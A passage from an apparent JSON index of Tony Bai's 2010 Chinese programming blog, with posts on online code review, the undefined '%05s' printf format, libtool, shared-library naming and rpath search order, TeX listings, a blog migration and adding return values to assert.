Board的问题了。\n一般认为代码评审是一项优秀的软件开发实践，它可以将很多隐患和bug消灭在萌芽阶段。其实践形式大致有代码走查、代码审查和结对编程（每时每刻都在做代码评审）这三种。一般来说读懂别人的代码可能比自己亲自编写代码花费的时间还要长，而且更为困难，所以除了结对编程之外，代码走查和审查都是低效的，多数情况下都是高投入低产出的，引入在线评审恰恰是对这些低效代码评审形式的一个有效补充，另外在线评审更适合异地团队和开源项目。\n那么什么情况下适合发起在线Code Review Request呢？可考虑下面几种情况：\n- 新增的关键功能代码的评审\n- 系统改善或优化代码的评审\n- bugfix代码的评审\n- 一些试验性代码的可行性评审\n创建一个新的Review request时应考虑注意以下几点：\n- 精确描述review request，提供此次评审的重要关注点；\n- 每个review request要有针对性，选择合适的评审人，不要泛泛的发给所有人；\n- 明确此次评审的截止时间点；\n- 每个review request所包含的待评审代码的行数最好不要超过50行，以30行以内为佳。如果你的request中包含了上千行的代码，我想是没人会去真正评审你的代码的。\n在项目编码高峰期，切忌发起大量在线Review request，那样的话，大家都会\u0026quot;淹没\u0026quot;在诸多Requests中，评审质量会严重下降，评审人的热情也会受到打击^_^。这个时候我们可以考虑结合其他评审方式，如采用结对和走查。另外对于一些遗留的维护项目，由于代码历史较为\u0026quot;悠久\u0026quot;，相关干系人较多，无法确认的因素也较多，可通过在线评审方式将review request发给相关干系人，以获得全面的评审，避免死角。\n以上是目前关于在线代码评审的一些考量，这里记之以备忘。\n","permalink":"https://tonybai.com/2010/12/18/thoughts-on-online-coding-review/","summary":"\u003cp\u003e记得上次折腾\u003ca href=\"http://tonybai.com/2009/09/19/review-board-installation-and-configuration/\"\u003eReview Board\u003c/a\u003e这个在线代码评审工具还是在一年前，那时的\u003ca href=\"http://www.reviewboard.org/\"\u003eReview Board\u003c/a\u003e版本是1.0.3；这周部门的一位同事也在折腾Review Board，不过现在的版本已经升级到了1.5.1了。新版Review Board显然修正了许多旧版本中\u003ca href=\"http://tonybai.com/2009/10/05/chinese-support-for-review-board/\"\u003e存在的问题\u003c/a\u003e，另外无法支持ssl邮件端口的问题也被我这位同事通过更换django源文件的方式搞定了。Review Board好用了，下一步需要关注的就是怎样才能用好Review Board的问题了。\u003c/p\u003e","title":"关于在线代码评审的几点考量"},{"content":"下班前，一位同事发来的mail中提到这样一个问题：在Solaris上，新添加到Project中的一段代码编译有Warning，由于我们在Makefile的GCC命令行中设置了\u0026quot;视警告如错误\u0026ldquo;的-Werror编译选项，导致了项目无法成功Build。\n这个Warning内容如下：\nwarning: `0\u0026rsquo; flag used with `%s\u0026rsquo; printf format\n产生这个Warning的那行代码大致是类似这样的：printf(\u0026quot;%05s%06s\\n\u0026rdquo;, \u0026ldquo;11\u0026rdquo;, \u0026ldquo;222\u0026rdquo;); 其实这段代码是从老项目中Copy出来的，在老项目中，这段代码运行的很是正常，也许它在老项目Build时也会产生Warning，不过之前大家也都没有关注。\n这个Warning我以前还真未遇到过，代码看起来写的也没有问题，我在Ubuntu 10.04(GCC 4.4.3)上测试了一下这段代码，同样产生了Warning。不过执行一下编译后的程序，我发现了问题。显然这段代码的意图是想通过\u0026quot;%05s\u0026quot;这样的格式控制串来达到自动补0的目的，但是Ubuntu下输出的结果却与此预期相悖–没有补0，补的是空格。我又拿同样的代码在Solaris(Solaris 10 for x86, gcc 3.4.6)上试了一下，虽然也有Warning，但结果和预期是相符的。\n这个问题显然比我预期的严重：一段代码在两个平台上产生了不同的行为，问题显然出在\u0026quot;%05s\u0026quot;的使用上。翻开《C语言参考手册》找到输入/输出函数一章，在\u0026quot;输出转换说明\u0026quot;一表中可与s转换搭配的只有\u0026rsquo;-标志\u0026rsquo;，没有'0标志\u0026rsquo;，但手册里并未明确说明如果将0标志与s转换结合会有什么后果。又Google了一下，发现一些资料里提到在printf系列接口中使用类似\u0026quot;%5s\u0026quot;这样的格式控制串的行为是未定义的，和我试验的结果一致。\n考虑到可移植性，\u0026quot;%05s\u0026quot;这样的格式控制串不能再继续使用了，替代方法有多种，这里就不赘述了。如果你的代码里也有使用类似\u0026quot;%05s\u0026quot;这种格式控制串，那赶紧想办法替换掉吧，除非你的代码一直跑在Solaris上。\n","permalink":"https://tonybai.com/2010/12/17/undefined-behavior-of-05s/","summary":"\u003cp\u003e下班前，一位同事发来的mail中提到这样一个问题：在\u003ca href=\"http://tonybai.com/2009/09/10/something-about-installing-solaris-10/\"\u003eSolaris\u003c/a\u003e上，新添加到Project中的一段代码编译有Warning，由于我们在Makefile的\u003ca href=\"http://tonybai.com/2006/03/14/explain-gcc-warning-options-by-examples/\"\u003eGCC\u003c/a\u003e命令行中设置了\u0026quot;\u003ca href=\"http://tonybai.com/2010/09/05/view-warning-as-error/\"\u003e视警告如错误\u003c/a\u003e\u0026ldquo;的-Werror编译选项，导致了项目无法成功Build。\u003c/p\u003e\n\u003cp\u003e这个Warning内容如下：\u003cbr\u003e\nwarning: `0\u0026rsquo; flag used with `%s\u0026rsquo; printf format\u003c/p\u003e\n\u003cp\u003e产生这个Warning的那行代码大致是类似这样的：printf(\u0026quot;%05s%06s\\n\u0026rdquo;, \u0026ldquo;11\u0026rdquo;, \u0026ldquo;222\u0026rdquo;); 其实这段代码是从老项目中Copy出来的，在老项目中，这段代码运行的很是正常，也许它在老项目Build时也会产生Warning，不过之前大家也都没有关注。\u003c/p\u003e","title":"\"%05s\"行为未定义"},{"content":"除了autoconf和automake，GNU的autotools工具包中还有一种工具，它就是libtool。顾名思义，libtool是一个关于库文件制作、安装和使用的工具，它屏蔽了各个平台在库制作、安装和使用方面的差异，为上层提供了统一的接口。你可以直接使用libtool创建静态或共享库，也可以将libtool与autoconf、automake结合在一起使用。第二种方式显然更具实际意义，也更为简单。\n在一个使用autoconf和automake构建的编译环境中添加libtool的支持，只需改动几处即可：\n首先，你需要在configure.in(或configure.ac)中添加AC_PROG_LIBTOOL宏(注意：去掉AC_PROC_RANLIB宏)。\n其次，修改Makefile.am：\n如果是建立库文件，则需将lib_LIBRARIES改为lib_LTLIBRARIES，同时将库的后缀名由.a改为.la，这将告诉automake采用libtool来创建相关库：\nlib_LIBRARIES = libfoo.a =\u0026gt; lib_LTLIBRARIES = libfoo.la\nlibfoo_a_SOURCES = libfoo.c =\u0026gt; libfoo_la_sources = libfoo.c\n如果是使用上面生成的库文件，则将可执行程序链接的库改为.la，如：\nfooapp_SOURCES = fooapp.c\nfooapp_LDADD = libfoo.la\n更新完上述配置后，删除aclocal.m4，执行aclocal和autoreconf，此时如果你的系统中没有安装libtool的话，autoconf会提示\u0026quot;undefined macro AC_PROG_LIBTOOL\u0026quot;，安装libtool(sudo apt-get install libtool)后，错误提示消失。autoreconf会初始化libtool环境，并将libtool和ltmain.sh两个脚本拷贝到你的工程目录下。由于修改了Makefile.am，你还需要重新执行依次automake。\n后面的操作大家就很熟悉了，configure -\u0026gt; make -\u0026gt; make install。libtool默认状态下会将静态库(.a)和共享库(.so)都生成出来，不过你可以通过configure命令行参数来控制这一切：\n–disable-shared 不生成共享库\n–disable-static 不生成静态库\n–enable-shared 生成共享库\n–enable-static 生成静态库\n你同样可以在configure.in中控制创建的库的类型，比如，在configure.in中增加AC_DISABLE_SHARED宏就可以让libtool只创建静态库，而不生成共享库。\n执行make install将库安装完后，你会发现在安装的lib目录下还保留有一份.la文件，通过该.la文件，我们可以继续通过libtool来使用这些库。当然你也可以完全略过.la而直接链接静态库(.a)和共享库(.so)。\n","permalink":"https://tonybai.com/2010/12/14/create-libraries-with-libtool/","summary":"\u003cp\u003e除了\u003ca href=\"http://tonybai.com/2010/09/26/hello-autoconf-and-automake/\"\u003eautoconf和automake\u003c/a\u003e，GNU的autotools工具包中还有一种工具，它就是\u003ca href=\"http://www.gnu.org/software/libtool/libtool.html\"\u003elibtool\u003c/a\u003e。顾名思义，libtool是一个关于库文件制作、安装和使用的工具，它屏蔽了各个平台在库制作、安装和使用方面的差异，为上层提供了统一的接口。你可以直接使用libtool创建静态或共享库，也可以将libtool与autoconf、automake结合在一起使用。第二种方式显然更具实际意义，也更为简单。\u003c/p\u003e\n\u003cp\u003e在一个使用\u003ca href=\"http://www.gnu.org/software/autoconf/autoconf.html\"\u003eautoconf\u003c/a\u003e和\u003ca href=\"http://www.gnu.org/software/automake/automake.html\"\u003eautomake\u003c/a\u003e构建的编译环境中添加libtool的支持，只需改动几处即可：\u003cbr\u003e\n首先，你需要在configure.in(或configure.ac)中添加AC_PROG_LIBTOOL宏(注意：去掉AC_PROC_RANLIB宏)。\u003cbr\u003e\n其次，修改Makefile.am：\u003cbr\u003e\n如果是建立库文件，则需将lib_LIBRARIES改为lib_LTLIBRARIES，同时将库的后缀名由.a改为.la，这将告诉automake采用libtool来创建相关库：\u003cbr\u003e\nlib_LIBRARIES = libfoo.a =\u0026gt; lib_LTLIBRARIES = libfoo.la\u003cbr\u003e\nlibfoo_a_SOURCES = libfoo.c =\u0026gt; libfoo_la_sources = libfoo.c\u003c/p\u003e","title":"使用Libtool创建库文件"},{"content":"近两天一直在考量产品安装包改进的事宜。说实话，我们的安装包做得不够\u0026quot;专业\u0026quot;，不仅没有按照各个平台的标准安装包形式(比如redhat的rpm，debian的deb或solaris上的pkg包)制作，而且安装包在生产环境中还需要再进行一次链接才能得到最终的可执行程序。这样一来，每次制作安装包都很费时费力(虽然有自动打包脚本)，安装包的\u0026quot;体积\u0026quot;也很是庞大，因为包中要包含所有.o目标文件和一部分自有库以及第三方库的.a文件。\n究竟为何还需要在生产环境中重新链接一次，此问题年头已久，之前无人深究，现在也就没有了现成的答案，这次花了些时间查了一下，发现居然是有关共享库的一个问题。关于共享库，我平时接触的不多，工作中更多愿意使用静态库进行静态链接，这样一来实际上我对共享库的了解也不够深刻。\n众所周知，静态链接和动态链接各有不足，也各有千秋：\n采用静态链接，最终可执行文件的Size会比较大，因为你在可执行文件中包含了一份程序所依赖的库中的符号的代码copy(注意：不是整个静态库的copy)。不过也恰是由于这点，可执行程序被部署到运行环境下后就简单多了，它运行时不需要再依赖任何其他库了，是典型的自我满足型。\n而动态链接则与静态链接恰恰相反，由于编译时仅仅是记录了其运行所依赖的共享库的名字而并未真正包含一份库的copy，所以这样的可执行文件的Size都较小，但在运行环境中我们需要先进行一番配置以让链接器能找到可执行程序所依赖的共享库。\n但实际工作中，完全的采用静态链接有时是会遇到麻烦的。因为很多OS在默认安装时是不带开发包的，也就是说像libc、libpthread等系统库只提供了共享库版本(如/lib下提供了libc的共享库libc.so.6)，其静态库版本是需要自行下载、编译和安装的(如libc的静态库libc.a在安装后是放在/usr/lib下面的)。所以多数情况下，我们是将两种链接方式混合在一起使用的，至少像libc这样的系统库多是采用动态链接的。\n共享库的制作方法很简单，用下面两行代码我们就可以得到一个名为libfoo.so的共享库：\ngcc -fPIC -c libfoo.c -o libfoo.o\ngcc -shared -o libfoo.so libfoo.o\n不过不知道大家是否留意过：在/lib和/usr/lib等集中放置共享库的目录下，你总是会看到诸如下面的情况：\n2010-12-10 12:28 libfoo.so -\u0026gt; libfoo.so.0.0.0*\n2010-12-10 12:28 libfoo.so.0 -\u0026gt; libfoo.so.0.0.0*\n2010-12-10 12:28 libfoo.so.0.0.0*\n关于libfoo.so居然有三个文件入口，其中libfoo.so.0.0.0是真正的共享库文件，而其他两个文件入口则是指向libfoo.so.0.0.0的符号链接。为何会出现这个情况呢？这与共享库的命名惯例和版本管理不无关系。\n共享库的惯例中每个共享库都有多个名字属性，包括real name、soname和linker name：\nreal name – 指的是实际包含共享库代码的那个文件的名字(如上面例子中的libfoo.so.0.0.0)，也是在共享库编译命令行中-o后面的那个参数;\nsoname – 是shared object name的缩写，也是这三个名字中最重要的一个，无论是在编译阶段还是在运行阶段，系统链接器都是通过共享库的soname(如上面例子中的libfoo.so.0)来唯一识别共享库的。即使real name相同但soname不同，也会被链接器认为是两个不同的库。共享库的soname可在编译期间通过传给链接器的参数来指定，如上例中我们可以通过\u0026quot;gcc -shared -Wl,-soname -Wl,libfoo.so.0 -o libfoo.so.0.0.0 libfoo.o\u0026quot;来指定libfoo.so.0.0.0的soname为libfoo.so.0(在solaris上的命令为\u0026quot;gcc -shared -Wl,-h -Wl,libfoo.so.0 -o libfoo.so.0.0.0 libfoo.o\u0026quot;)。ldconfig -n directory_with_shared_libraries命令会根据共享库的soname自动生成一个名为soname的符号链接指向real name文件，当然你也可以通过ln命令自己来创建这个符号链接。另外在linux下我们可通过readelf -d查看共享库的soname(在solaris下可使用dump -Lvp查看)，ldd输出的ELF文件依赖的共享库列表中显示的也是共享库的soname及所在路径。\nlinker name – 是编译阶段提供给编译器的名字(如上面例子中的libfoo.so)。如果你构建的共享库的real name是类似于上例中libfoo.so.0.0.0那样的带有版本号，那么你在编译器命令中直接使用-L path -lfoo是无法让链接器找到对应的共享库文件的，除非你为libfoo.so.0.0.0提供了一个linker name(如libfoo.so，一个指向libfoo.so.0.0.0的符号链接)。linker name一般在共享库安装时手工创建。\n了解了共享库的名称惯例后，我们考虑如何使用这些共享库。使用共享库分为两个阶段，第一个阶段是可执行文件构建阶段。构建阶段我们需要为编译器(实为链接器)提供可执行程序依赖的共享库的位置信息：\n如果依赖的共享库放置在链接器搜索的默认目录下(linux下一般依次为/lib和/usr/lib; solaris下依次为/usr/ccs/lib，/lib和/usr/lib)，你可以直接使用-l指定共享库的linker name即可；\n如果依赖的共享库在非默认路径下，可使用-L来告知位置，比如gcc -o fooapp fooapp.c -L private_shared_lib_dir -lfoo，与默认目录相比，-L指定的目录优先级更高，另外注意：这里-L的位置信息并不记录在fooapp文件中，也不会对fooapp的执行产生影响；\n在Solaris上，通过配置LD_LIBRARY_PATH也可以为编译器指定共享库路径，且其优先级比-L指定的路径更高，不过在Linux上LD_LIBRARY_PATH在编译阶段似乎不起作用。\n运行时阶段，链接器同样要确定可执行文件依赖的共享库的位置和版本，不过与编译构造阶段不同，运行时的链接器按如下顺序搜索共享库：\n-rpath\n链接器优先在可执行文件中记录的rpath路径下搜索。rpath是在编译时传给链接器的路径参数：\nlinux平台下可使用：gcc -o fooapp fooapp.c -Wl,-rpath -Wl,fooapp_rpath -L foo_so_path -lfoo\nsolaris下可用：gcc -o fooapp fooapp.c -R fooapp_rpath -L foo_so_path -lfoo\n多个路径可用冒号分割。编译成功后，这些信息会被记录在最终文件的RPATH节中，在运行时链接器读取RPATH节并搜索其值对应的目录。ldd 显示的是运行时应用依赖的库及其在运行环境下的确定路径，例如ldd fooapp的结果为：libfoo.so.0 =\u0026gt; fooapp_rpath/libfoo.so.0 (0×00458000)\nLD_LIBRARY_PATH\n如果fooapp_rpath实际并不存在，则链接器会尝试在LD_LIBRARY_PATH配置的路径中查找依赖的共享库。\nldconfig配置的缓存中的路径\n如果在rpath和LD_LIBRARY_PATH中依旧没有搜索到libfoo.so，那么链接器将尝试在ldconfig配置缓存中查找。linux平台上使用ldconfig配置搜索路径的方法如下：在/etc/ld.so.conf.d下增加一个自定义的链接器搜索路径配置文件，执行ldconfig更新缓存后生效。\n系统默认路径\n链接器最后将在默认路径下查找相关共享库，linux和solaris下均为/lib和/usr/lib。\n如果在以上路径下依然没有找到libfoo.so，那么fooapp运行将出错。\n好了，到目前为止，前面提到安装包的问题的原因也可以解释清楚了，问题就在于使用了-rpath但却没有在生产环境下进行共享库的配置。一旦安装包制作环境下记录到-rpath中的路径在生产环境下无法找到，且生产环境下没有将相关库的路径配置到链接器搜索的路径下，那么安装后的可执行文件执行时就会出错。解决方法有多种，这里就不赘述了。\n","permalink":"https://tonybai.com/2010/12/13/also-talk-about-shared-library/","summary":"\u003cp\u003e近两天一直在考量产品安装包改进的事宜。说实话，我们的安装包做得不够\u0026quot;专业\u0026quot;，不仅没有按照各个平台的标准安装包形式(比如redhat的rpm，debian的deb或\u003ca href=\"http://tonybai.com/2009/09/10/something-about-installing-solaris-10/\"\u003esolaris\u003c/a\u003e上的pkg包)制作，而且安装包在生产环境中还需要再进行一次链接才能得到最终的可执行程序。这样一来，每次制作安装包都很费时费力(虽然有自动打包脚本)，安装包的\u0026quot;体积\u0026quot;也很是庞大，因为包中要包含所有.o目标文件和一部分自有库以及第三方库的.a文件。\u003c/p\u003e","title":"也谈共享库"},{"content":"上周初参加了一次代码评审，评审时发现一位同事在自己负责的子模块代码里定义了一个私用宏，\u0026ldquo;重复\u0026quot;这个Bad Smell立马在我头脑中闪现。当时我给出了一个建议：检查一下这个宏定义的必要性，依次检查一下C运行库头文件中是否已经有了同功用宏定义，基础库头文件中是否已经有了同功用宏定义，业务层代码的共用头文件中是否已经有了同功用宏定义。\n周末这位同事给出了答复：C运行库、基础库和业务层代码中都没有定义此功用的宏。考虑一下这位同事如此编码的动机：显然一方面他为了避免magic number才去定义一些宏，提高可读性。另一方面确实无此功用的宏可用才考虑定义在自己的子模块中。但是这个宏的定义到底该放在哪里才是正确的呢？\n这个宏是作为一个buffer的size而定义的，这个buffer会作为基础库中某个函数的输出参数，而这个函数原型声明所在的头文件中却没有提供相关宏为上层开发者所使用，这才导致了调用者自己猜测并设置buffer size。不讲究的开发者很可能就直接使用一个magic number，而像我这位同事采用的这种方法又会导致一些\u0026quot;重复\u0026quot;的Bad Smell的出现。这样来看，也许正是这个库函数的设计者为Bad Smell提供了滋生的土壤。\n库设计者应该多为上层调用者考虑，这方面可参考一些优秀库的设计，如C标准库等。因为你的接口设计而给调用者带去Bad Smell，这是我们不希望看到的。\n","permalink":"https://tonybai.com/2010/12/06/do-not-provide-soil-for-bad-smell-code/","summary":"\u003cp\u003e上周初参加了一次\u003ca href=\"http://tonybai.com/2006/05/31/code-review-is-necessary/\"\u003e代码评审\u003c/a\u003e，评审时发现一位同事在自己负责的子模块代码里定义了一个私用宏，\u0026ldquo;重复\u0026quot;这个\u003ca href=\"http://en.wikipedia.org/wiki/Code_smell\"\u003eBad Smell\u003c/a\u003e立马在我头脑中闪现。当时我给出了一个建议：检查一下这个宏定义的必要性，依次检查一下C运行库头文件中是否已经有了同功用宏定义，基础库头文件中是否已经有了同功用宏定义，业务层代码的共用头文件中是否已经有了同功用宏定义。\u003c/p\u003e","title":"别为代码的\"Bad Smell\"提供土壤"},{"content":"近期有了在TeX文档中插入源代码的需要。TeX的\\verbatim可以帮助你保留输入text的原始格式，但用于输入源代码还是显得不够专业。Google了一下发现TeX中支持插入源代码的包也有不少，如LGrind、Listings等。LGrind似乎没有包含在TeX Live的默认安装包中，用apt-get尝试安装LGrind，发现居然要占用近200M的空间，遂放弃之，最后我选择了Listings宏包。\nListings宏包短小而强大，其典型应用方式如下：\n\\usepackage{listings}\n\\lstset{…}\n\\begin{lstlisting}\n#include\nint main(int argc, const char *argv[]) {\nprintf(\u0026ldquo;Hello World!\\n\u0026rdquo;);\nreturn 0;\n}\n\\end{lstlisting}\n\\lstinputlisting{HelloWorld.c}\n其中\\lstset用于全局设置插入源代码的类型、各种语法元素的样式、边框和行号设置。你的源码只需包裹在\\begin{lstlisting}和\\end{lstlisting}之间，源码就能按照之前设置的格式显示。\\lstinputlisting支持将一个独立的源代码文件load进来，并按\\lstset的格式显示。下面是一个插入C语言源码的例子：\n\\lstset{ language={[ANSI]C},\nshowspaces=false,\nshowtabs=false,\ntabsize=4,\nframe=single,\nframerule=1pt,\nframexleftmargin=5mm,\nframexrightmargin=5mm,\nframextopmargin=5mm,\nframexbottommargin=5mm,\n%numbers=left,\n%numberstyle=\\small,\nbasicstyle=\\tt,\ndirectivestyle=\\tt,\nidentifierstyle=\\tt,\ncommentstyle=\\tt,\nstringstyle=\\tt,\nkeywordstyle=\\color{blue}\\tt }\n\\begin{lstlisting}\n#include\nint main(int argc, const char *argv[]) {\nprintf(\u0026ldquo;Hello World!\\n\u0026rdquo;);\nreturn 0;\n}\n\\end{lstlisting}\n上面lstset中每种语法元素的style都设置为\\tt。说到\\tt，就不能不提到西方字母字族的种类，分为serif、sans serif和monospace三类。其中serif来源于荷兰语, \u0026ldquo;衬线\u0026quot;的意思，又称为Roman，一般用于正文的主字体，感觉很正式，我们常用的\u0026quot;Times New Roman\u0026quot;字体就归于此族; sans serif中的sans来源自法文，意为“非”，这类字体比较平滑，字体较大，适于在标题中使用，如\u0026quot;Arial\u0026quot;字体。monospace是等宽字族，也称为typewriter，程序源代码用此族字体表示更为美观，常见的字体包括Courier New、Lucida Console等。其中\\tt指的就是使用monospace字族; \\rm表示使用serif字族，\\sf则是使用sans serif字族的意思。\n确定了字族后，我们可以通过TeX preamble区的字体设置得知具体的字体，如在上面例子中，我们是这么设置字体的：\n\\setCJKmainfont{WenQuanYi Micro Hei}\n\\setCJKsansfont{WenQuanYi Micro Hei}\n\\setCJKmonofont{WenQuanYi Micro Hei}\n\\setmainfont{Times New Roman}\n\\setsansfont{Arial}\n\\setmonofont{Courier New}\nCJK相关的字体设置影响的是中文字体，而真正对代码起作用的是后面的英文字体设置。这里我们的mono字体设置为了\u0026quot;Courier New\u0026rdquo;，这样我们的源码就会以Courier New的形式展现出来。\n我更新了之前制作的book和ppt的TeX模板，以支持插入源代码，有意者可在此下载。\n","permalink":"https://tonybai.com/2010/12/01/insert-source-code-into-tex-document/","summary":"\u003cp\u003e近期有了在\u003ca href=\"http://tonybai.com/2010/10/18/hello-tex/\"\u003eTeX\u003c/a\u003e文档中插入源代码的需要。TeX的\\verbatim可以帮助你保留输入text的原始格式，但用于输入源代码还是显得不够专业。Google了一下发现TeX中支持插入源代码的包也有不少，如\u003ca href=\"http://www.ctan.org/tex-archive/help/Catalogue/entries/lgrind.html\"\u003eLGrind\u003c/a\u003e、Listings等。LGrind似乎没有包含在\u003ca href=\"http://www.tug.org/texlive\"\u003eTeX Live\u003c/a\u003e的默认安装包中，用apt-get尝试安装LGrind，发现居然要占用近200M的空间，遂放弃之，最后我选择了\u003ca href=\"http://www.ctan.org/tex-archive/help/Catalogue/entries/listings.html\"\u003eListings\u003c/a\u003e宏包。\u003c/p\u003e\n\u003cp\u003eListings宏包短小而强大，其典型应用方式如下：\u003c/p\u003e","title":"在TeX文档中插入源代码"},{"content":"早在若干年前就有朋友建议我搭建一个独立博客，可当时的我觉得blogbus提供的服务很不错，自己没有必要去折腾，费钱又费力，所以我选择了继续留在blogbus。\n这两年blogbus服务一直在不断的提高，自己也一直很欣赏blogbus的简单、清新、无广告的风格，大巴后台管理中心的功能也变得越来越强大了。不过这期间blogbus也出现过几次较为严重的故障，导致长时间的无法提供服务。上周blogbus再次出现文件服务器故障，导致上传的图片不能正常显示。这次我做了另外一个选择：尝试搬家。之所以称为“尝试搬家”，是因为搬家可能成功，也可能失败。\n上周末经朋友推荐，我购买了dreamhost的主机空间，注册了独立域名，并花了周末两天的时间搭起了一个wordpress博客，这个过程是一波三折，还好我的这位朋友是建站方面的高手，经他指点，我少走了许多弯路。但博客搬家最难的地方不是建站，而是后续数据的迁移和整理。\n搬家过程大致如下：\n1、创建mysql数据库；\n2、安装wordpress；\n3、从blogbus后台管理中心将数据导出，导出一个blogbus自定义格式的xml文件;\n4、下载bus2wp.py；\n5、按照bus2wp.py的说明，执行bus2wp.py将blogbus自定义格式的xml文件转换成wordpress标准xml文件;\n6、转换后的wordpress数据文件有4M多，我用DivXml将该文件拆分成四个1M左右的xml文件；\n7、通过wordpress后台提供的导入功能将数据文件导入\n这里我安装的wordpress是2.8.6中文版（据说高版本的wordpress再导入bus2wp.py转换后的数据时会出现各种各样的问题）。导入过程很顺利，导入的大部分数据的格式都还是可接受的。\n8、选择wordpress themes\n2.8.6版本wordpress默认的Kubrick主题我一眼就看中了，不过该主题页面宽度不足，看起来很别扭，遂自己查资料，终于找到了一个Wide版的Kubrick的主题，下载后，替换了默认的主题。\n9、安装必要插件\nwordpress做得很强大，插件很多，根据朋友和网上推荐安装了Akismet、Add Post URL、Google XML Sitemaps、WP-Syntax和WordPress Database Backup等这几个插件。虽说安装过程都很简单，但是每个插件都要配置和测试，还是耗费了我不少精力。\n10、整理文章\n这是最痛苦的事。wordpress自带的默认编辑器很不给力，在“可视化编辑器”和“HTML编辑器”之间切换居然还会导致格式变化，导致刚整理好的格式瞬间丢失，还得重来，很痛苦。另外我还是一个追求完美的人，我最初计划将搬来的600多篇博客文章都整理一遍，修改每篇文章的永久链接地址、重新分配标签、更改文章内容中的所有链接（指向新博客站点中的文章），可昨天刚整理了三篇文章，我就发现这几乎是一个不可能完成的任务，我目前确实没有精力折腾这些事儿。\n到此为止，我开始反思：我真的需要这样一个独立博客吗？独立博客有诸多好处，这个不用我说。但是这些好处中哪些是我真正需要的呢？顶级域名和稳定服务也许是我更看重的。但是国外提供的虚拟主机空间就一定比大巴稳定么？这个用过才知道，我还没有发言权。至于顶级域名其实blogbus也可以做绑定。\n整理数据的这几天耗费了我很多精力，很多事情都因此耽搁了。我决定不再整理了，本次尝试搬家宣告失败！继续遵循多年前的那个选择：只要blogbus还继续提供服务，我就一直扎根这里。\n","permalink":"https://tonybai.com/2010/11/30/try-to-move-blog/","summary":"\u003cp\u003e早在若干年前就有朋友建议我搭建一个独立博客，可当时的我觉得\u003ca href=\"http://www.blogbus.com/\"\u003eblogbus\u003c/a\u003e提供的服务很不错，自己没有必要去折腾，费钱又费力，所以我选择了继续留在blogbus。\u003c/p\u003e\n\u003cp\u003e这两年blogbus服务一直在不断的提高，自己也一直很欣赏blogbus的简单、清新、无广告的风格，大巴后台管理中心的功能也变得越来越强大了。不过这期间blogbus也出现过几次较为严重的故障，导致长时间的无法提供服务。上周blogbus再次出现文件服务器故障，导致上传的图片不能正常显示。这次我做了另外一个选择：尝试搬家。之所以称为“尝试搬家”，是因为搬家可能成功，也可能失败。\u003c/p\u003e","title":"尝试博客搬家"},{"content":"众所周知，assert是程序调试阶段的一柄利器，可以帮助程序员快速的定位代码问题。但一般来说当程序部署到生产环境的时候，我们会选择关闭assert。不过由于历史原因，我们运行在生产环境下的程序中的assert依旧发挥着作用，这样一把双刃剑就悬在了我们头上。\n我们用的是自己的assert实现，这个实现没有C标准库中assert实现那么普适，不过可以满足我们自己需要的功能，它在运行时可以将断言失败信息记录到文件中以便事后分析，并调用了C运行库的assert让进程退出。\n在生产环境下开启assert似乎确非惯例，但这也许还谈不上对与错，更多可以看成是当时开发者们的一种选择，在“让程序带着bug继续运行”和“遭遇bug时尽早让程序退出”两者之间，他们选择了后者。当然这也可能是当时他们的一个无奈的选择：在产品诞生初期，Bug较多，为了快速在生产环境定位Bug而开启了assert。\n不过时过境迁，客户对产品质量的要求越来越高，我们除了在线下通过各种方法提升产品质量外，在线上当程序出现Bug时的处理方式也要考虑做适当变化，遭遇Bug直接主动退出导致业务瞬间中断的方式被越来越多的开发人员质疑。或者现在的开发人员也是迫于一些外部压力，宁愿选择让程序带着Bug运行下去。\n昨天我们针对这个问题做了一个内部讨论，考虑修改自有assert的实现，去除对C库assert的调用，只保留断言失败的信息记录。这样就不会导致程序遇Bug立即退出的情况。不过仍有一个项目组认为这种方案不能解决他们系统中遇到断言失败时无法自恢复并继续健康运行的问题，希望能在代码中感知断言失败，并对错误现场进行一些修复性处理，比如如果断言失败发生在加锁后，希望断言发生后能直接走到解锁环节。最后居然给出了一个让人哭笑不得的方案：给assert加上一个特定的返回值表示程序出现异常（多为Bug）。\n先不谈给assert加上返回值有悖assert设计的初衷，如果真的给assert加上了返回值，那意味着什么呢？据不完全统计有如下几点需要改动：\n1、assert的实现彻底颠覆，如果按照C标准库中对assert设计的要求，甚至可能是很难实现的；\n2、你完全不能忽视assert，因为它还有返回值，甚至当断言失败时，会直接退出使用assert的那个函数；\n3、大量遗留库代码和业务层代码需要判断assert的返回值以及使用assert的函数的返回值，增加对assert返回的所谓特殊错误码的处理；\n4、实在想不出这个\u0026quot;恐怖\u0026quot;的想法还能带来什么改变。\n对这样一个费力不讨好、不给力的想法我除了反对，还是反对。有这些时间还不如仔细琢磨一下如何提高设计能力和产品质量呢。如果非要这么做，建议放过assert吧，请重新实现一个能检查感知Bug的函数接口吧。\n","permalink":"https://tonybai.com/2010/11/24/it-is-not-gelivable-to-add-return-value-for-assert/","summary":"\u003cp\u003e众所周知，assert是程序调试阶段的一柄利器，可以帮助程序员快速的定位代码问题。但一般来说当程序部署到生产环境的时候，我们会选择关闭assert。不过由于历史原因，我们运行在生产环境下的程序中的assert依旧发挥着作用，这样一把双刃剑就悬在了我们头上。\u003c/p\u003e","title":"给assert加上返回值，不给力！"},{"content":"在工作中，我们常常会听到这样的声音：“原来的系统就是这么做的！”。\n没错儿，在工作中我们潜移默化地受到了遗留系统的一些设计和实现的“惯例”的影响，另外天生携带的懒惰基因使我们很少去思考和判断这些惯例的正确性和保留的必要性。但事实上，我们确应该经常重新审视这些遗留的“惯例”，有选择的保留，并敢于放弃。\n每种“惯例”的引入和使用都是有其特定原因的：或是可以简化代码编写，或是便于代码跟踪，或是利于代码调试，或是迫于对外部工具的妥协，也有的是为了偷懒儿^_^，甚至有些惯例的引入本身就是不妥当的甚至是错误的，只是当时无人喊出反对的声音，也就被保留了下来。\n新项目启动已两月有余，除了前期参与一些编码外，现在的我更多是代码检查和评审者的角色。在这个角色上，我看到了一些本不该保留下来的遗留“惯例”，这里挑了几个拿出来说说。\n#1 – 在源代码文件中记录代码变更信息\n在遗留系统的一个典型的“惯例”就是在源文件中（包括.h和.c文件）记录代码变更信息，比如下面的例子：\n/*\n* foo_test.c\n*\n* NUM | description | by | date |\n* 001 | 添加XX业务逻辑 | xx | 20100805 |\n* 002 | 修改YY业务逻辑 | yy | 20100809 |\n* 003 | 删除ZZ业务逻辑 | zz | 20100809 |\n* … 